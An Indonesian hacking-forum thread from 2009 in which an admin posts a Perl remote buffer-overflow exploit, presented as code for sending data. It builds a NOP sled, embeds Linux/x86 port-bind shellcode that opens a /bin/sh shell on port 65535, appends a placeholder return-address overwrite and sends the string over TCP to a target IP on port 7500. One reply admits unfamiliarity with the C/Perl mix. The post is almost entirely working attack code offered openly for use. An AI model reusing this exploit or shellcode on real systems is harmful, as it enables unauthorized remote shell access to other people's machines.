We Are DevilzCrew
 
IndeksPendaftaranLogin

Share | 
 

 code perl untuk mengirim data

Go down 
PengirimMessage
petimati
Admin
Admin
avatar

Jumlah posting : 89
Join date : 11.05.09

PostSubyek: code perl untuk mengirim data   Fri Jul 10, 2009 3:31 am

#!/usr/bin/perl

####################################################################
#
#-- Server Exploit (Perl version)
#
# Reference by Preddy's Remote Exploitation with C and Perl tutorial
#
####################################################################

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our nopsled
$nopsled = "\x90"x174;
$payload =
#
#
# portbind shellcode 86 bytes for Linux/x86
# Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
# portbind shellcode that bind()'s a shell on port 65535/tcp
#
# socket(AF_INET, SOCK_STREAM, 0)
#
"\x6a\x66". # push $0x66
"\x58". # pop %eax
"\x6a\x01". # push $0x1
"\x5b". # pop %ebx
"\x99". # cltd
"\x52". # push %edx
"\x53". # push %ebx
"\x6a\x02". # push $0x2
"\x89\xe1". # mov %esp,%ecx
"\xcd\x80". # int $0x80
#
# bind(s, server, sizeof(server))
#
"\x52". # push %edx
"\x66\x68\xff\xff". # pushw $0xc9fc // PORT = 65535
"\x66\x6a\x02". # pushw $0x2
"\x89\xe1". # mov $esp,%ecx
"\x6a\x10". # push $0x10
"\x51". # push %ecx
"\x50". # push %eax
"\x89\xe1". # mov %esp,%ecx
"\x89\xc6". # mov %eax,%esi
"\x43". # inc %ebx
"\xb0\x66". # mov $0x66,%al
"\xcd\x80". # int $0x80
#
# listen(s, anything)
#
"\xb0\x66". # mov $0x66,%al
"\xd1\xe3". # shl %ebx
"\xcd\x80". # int $0x80
#
# accept(s, 0, 0)
#
"\x52". # push %edx
"\x56". # push %esi
"\x89\xe1". # mov %esp,%ecx
"\x43". # inc %ebx
"\xb0\x66". # mov $0x66,%al
"\xcd\x80". # int $0x80
"\x93". # xchg %eax,%ebx
#
# dup2(c, 2) , dup2(c, 1) , dup2(c, 0)
#
"\x6a\x02". # push $0x2
"\x59". # pop %ecx
"\xb0\x3f". # mov $0x3f,%al
"\xcd\x80". # int $0x80
"\x49". # dec %ecx
"\x79\xf9". # jns dup_loop
#
# execve("/bin/sh", ["/bin/sh"], NULL)
#
"\x6a\x0b". # push $0xb
"\x58". # pop %eax
"\x52". # push %edx
"\x68\x2f\x2f\x73\x68". # push $0x68732f2f
"\x68\x2f\x62\x69\x6e". # push $0x6e69622f
"\x89\xe3". # mov %esp, %ebx
"\x52". # push %edx
"\x53". # push %ebx
"\x89\xe1". # mov %esp, %ecx
"\xcd\x80"; # int $0x80;

#our extended instruction pointer which we use to overwrite the remote eip
$eip = "AAAA";
#we construct our full attackstring here
$attackstring = $nopsled.$payload.$eip;

#view a message if no ip address is given
if(!$ip)
{

die "You have to provide the target's IP Address..\n";

}

#the remote port to connect to
$port = '7500';

#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";


#send the payload to the remote computer
print $socket $attackstring;

#close the connection
close($socket);
Kembali Ke Atas Go down
kiddies
Asisten LAB
Asisten LAB
avatar

Jumlah posting : 135
Join date : 05.05.09

PostSubyek: Re: code perl untuk mengirim data   Fri Jul 10, 2009 8:06 pm

wadu w mah kalo yang gabungan am bahasa c lum isa om....w masih coba perl yang murninya.....
Kembali Ke Atas Go down
 
code perl untuk mengirim data
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Hanya Sebuah Kalimat Sederhana
» Tips - tips untuk menghindari kecelakaan
» ::::(ASK) Ban Yang Cocok Untuk Ninin::::
» [WTS] Knalpot Yoshimura R-77 Carbon Full System untuk ZX-10R, Salah beli gan..
» Ninja untuk harian? Cocok gak?

Permissions in this forum:Anda tidak dapat menjawab topik
Devilzc0de TeaM :: Pemrograman :: Perl-
Navigasi: